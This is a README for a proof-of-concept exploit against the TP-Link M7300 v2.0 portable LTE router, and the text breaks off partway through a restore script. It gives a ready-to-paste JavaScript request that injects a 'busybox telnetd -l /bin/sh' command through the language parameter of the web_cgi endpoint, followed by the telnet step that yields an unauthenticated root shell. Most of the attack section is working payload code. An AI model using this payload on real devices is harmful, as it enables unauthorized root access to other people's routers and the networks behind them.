TP-Link M7300 web_cgi command injection PoC (pre-auth RCE)
<p align="center">
<img src="banner.jpg" alt="TP-Link M7300 Telnet Exploit" width="100%">
</p>
# TP-Link M7300 — `web_cgi` Command Injection
<p align="center">
<img src="https://img.shields.io/badge/target-TP--Link%20M7300%20v2.0-informational" alt="target: TP-Link M7300 v2.0" />
<img src="https://img.shields.io/badge/type-Command%20Injection%20PoC-critical" alt="type: Command Injection PoC" />
<img src="https://img.shields.io/badge/lang-JavaScript-F7DF1E?logo=javascript&logoColor=black" alt="lang: JavaScript" />
<img src="https://img.shields.io/badge/license-MIT-green" alt="license: MIT" />
</p>
Unauthenticated command injection via the language-switch endpoint on the **TP-Link M7300 (UN) v2.0** portable LTE router (firmware 1.0.5 Build 151210 Rel.1019n).
## Affected Endpoint
```
POST /cgi-bin/web_cgi
Content-Type: application/json
```
The `language` parameter in the `webServer` / `SET_LANGUAGE` action is passed to a shell context without sanitization.
## Proof of Concept
Paste in the browser console while connected to the device's admin panel (default `http://192.168.0.1`):
```javascript
fetch("/cgi-bin/web_cgi", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
module: "webServer",
action: 1,
language: "$(busybox telnetd -l /bin/sh)"
})
})
.then(r => r.json())
.then(d => console.log("Result:", d))
.catch(e => console.error("Error:", e));
```
On success, a telnet daemon starts on the default port (23). Connect with:
```bash
telnet 192.168.0.1
```
This gives an unauthenticated root shell.
## Fix Web UI After Exploit
The exploit corrupts the `language` setting (it becomes the shell command string), which breaks the web interface — pages fail to load translations and render blank or broken.
To restore it, paste [`fix.js`](fix.js) in the browser console:
```javascript
fetch("/cgi-bin/web_cgi", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.s